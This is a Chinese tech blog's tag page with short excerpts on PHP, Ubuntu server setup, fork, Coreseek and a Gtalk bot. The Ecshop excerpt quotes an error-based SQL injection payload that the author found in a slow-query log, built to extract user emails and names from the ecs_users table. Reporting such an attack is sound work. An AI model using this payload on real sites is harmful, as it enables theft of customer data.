Posts Tagged php

PHP的普青、文青和2B青

之前看过一篇东西,大致上说:之所以PHP这么流行,主要是因为PHP太“下贱”。门槛太低,什么样的写法都有。这些年接触下来,也颇有共鸣。正巧赶上最近网上很流行“普青、文青、2B青”的恶搞,抱着“回字到底有几种写法”的态度,对同样的问题进行各种风格的编码,为了更多的体现算法,我剔除了注释。只为搏大家一笑,希望大家也不要拓展开来了。

题目:1只羊第二年后开始繁殖,每年一胎,每胎一只,直到第5年死亡,列出前十年的羊的数量。

Read the rest of this entry »

,

1 Comment

posix的特性——fork

记得之前曾经在一段Python中介绍过python的mulitprocess模块在windows的不兼容。其中提及了linux/Unix特有的fork方式,而windows无法实现导致的死循环。当时只是提到了一下,重点不同的关系,没有深究。

fork,顾名思义就是一把叉子,或者专业一点叫做复制叉。作为sys/type.h的一个函数,系统在每次调用fork()之后,将会以此为分叉,对进程本身进行复制,新的进程和旧进程有近乎完全一致的cpu时间和内存寄存器。

Read the rest of this entry »

, , ,

No Comments

Ubuntu上Coreseek+php的安装

Coreseek是一个基于sphinx引擎,支持与mmseg中文分词模块合作完成中文的全文搜索引擎。相对sql这类操作,Coreseek负载可谓是微不足道。当然类似的索引服务器还有给予Java的solr等。我选择coreseek的主要原因之一是他可以通过配置后可以与现有的mysql客户端兼容,并可以直接嵌入到mysql中成为mysql的引擎之一。

首先,下载安装包,我选择的是最新的stable版, 不过不客气的说,即便是coreseek的stable版本,不论是从稳定性、兼容性还是灵活性上都不能算是完善,至少无法跟apache这类经典应用相提并论。

Read the rest of this entry »

, , , , , ,

No Comments

LAMP的常用扩展安装

之前已经弄过许多篇关于LAMP搭建的东西,都是基于最简单包的,这次说说几个比较常用扩展的安装:

Read the rest of this entry »

, , , , , , ,

No Comments

Ecshop的问题

在看一台服务器的SQL-Slow日志,看到了如下的一纪录,惊出了一身冷汗!

SELECT pg.package_id, pg.goods_id, pg.goods_number,
        pg.admin_id, g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real,
        IFNULL(mp.user_price, g.shop_price * '1') AS rank_price
FROM `ecs_`.`ecs_package_goods` AS pg
        LEFT JOIN `ecs_venusveil`.`ecs_goods` AS g ON g.goods_id = pg.goods_id
        LEFT JOIN `ecs_venusveil`.`ecs_member_price` AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0'
WHERE pg.package_id = -1
union all
        select 1,2,3,4,5,6,7,8,count(*),concat(
                (Select concat(0x5b,email,0x3a,user_name,0x5d)
                        FROM ecs_users
                        LIMIT 9456,1), floor(rand(0)*2))x
         from information_schema.tables
         group by x
ORDER BY pg.package_id, pg.goods_id;

Read the rest of this entry »

, , ,

2 Comments

高负载的Lamp架构

记得那时是2005年10月,开源小站刚上线不久的一篇文章。那时的我还仅仅将网站的高可用性和大负载,大流量集中在“堆硬件”的层面上。包括之后的一篇文档,似乎也没有逃脱这个范畴。之后由于工作内容的关系,始终没有再继续探讨这个问题。仅仅只在一篇关于GAE的文章中讲述了一下架构的趋势。

时隔了5年多,不妨回头重新从新的高度上说说LAMP结构的网站如何支撑尽可能大的负载。同样说明,本文代表站长Litrin的个人意见,欢迎共同探讨,但喷子慎入。

Read the rest of this entry »

, , , , ,

No Comments

重新认识下PHP的输出

大概在02 03年或者更早,我第一次接触了PHP lib中的模板类,后来又开始用了众人皆知的Smarty,以及各种框架内自带的模板引擎。这段时间就几乎没有再用过直接的echo输出——临时的脚本除外。似乎现在再去写个网站,一大堆echo嵌入到HTML里,会被同行笑话的,至少会被认为是学生作品吧。本文就重新捡回这个命令,重新认识下。

PHP程序员的逻辑:

数据经过加工,传输给模板引擎,模板引擎选择合适的模板填充,输出为页面通过www服务器传输给用户。
再此之前,请自查手册,熟悉ob_end_clean() flush()以及相关联的输出控制函数。

如果能看懂如下伪代码,并认为这是一团糟糕的死循环的话请继续:

Read the rest of this entry »

,

1 Comment

Gtalk通知机器人脚本

服务器每天都有这样那样的信息需要实时推送。最初一直是Mail,最容易实现,成本也低。后来有了短信接口,就有了相对实时但要花钱的方式推送。

知道GAE可以直接跟gtalk挂钩推送消息,可能一直挂Gtalk的人远没有挂QQ和MSN的多(密之声:Gtalk又没有星星和钻石,挂也没劲),但有了Android + 3G的实时在线,这种方式却可以直接替代SMS这类花钱的服务,何乐不为?

大致上完成了原型,制作了一个基于Python的命令行程序,不敢独享,分享给大家。希望大家能够一起加入这个项目完善它。
在此之前,请现将 server-say @@@ appspot.com (你懂的!)加为好友

Read the rest of this entry »

, ,

2 Comments

WordPress google-syntax-highlighter 插件的问题

小站上一直使用Google Syntax Highlighter for WordPress 插件实现代码高亮,就在上一篇文章发布之后,我发现了这个插件中存在的一个bug:windows + IE 8无法正常加亮python代码。

查阅了官方网站,发掘Google Syntax Highlighter for WordPress插件用的1.5版已经停止更新,只能使用2.0以上的版本,但2.0版本和之前的版本又存在兼容的问题,直接替换是不行的。不想每篇文章的修改<pre>标记,那就改插件喽。

Read the rest of this entry »

, ,

2 Comments

配置Ubuntu的php支持OCI8

PHP的OCI模块支持Oracle总是比较让人头痛。这趟弄个ubuntu的安装文档。

通过ubuntu-server安装盘安装LAMP。当然,正常情况下,建议安装好openssh服务器,免得麻烦。

虽然ubuntu的server支持root直接登录,既然是ubutu,还是遵循它的sudo吧。

安装结束后,启动server。

首先,经典的更新
#sudo apt-get update; sudo apt-get upgrade

Read the rest of this entry »

, , , ,

No Comments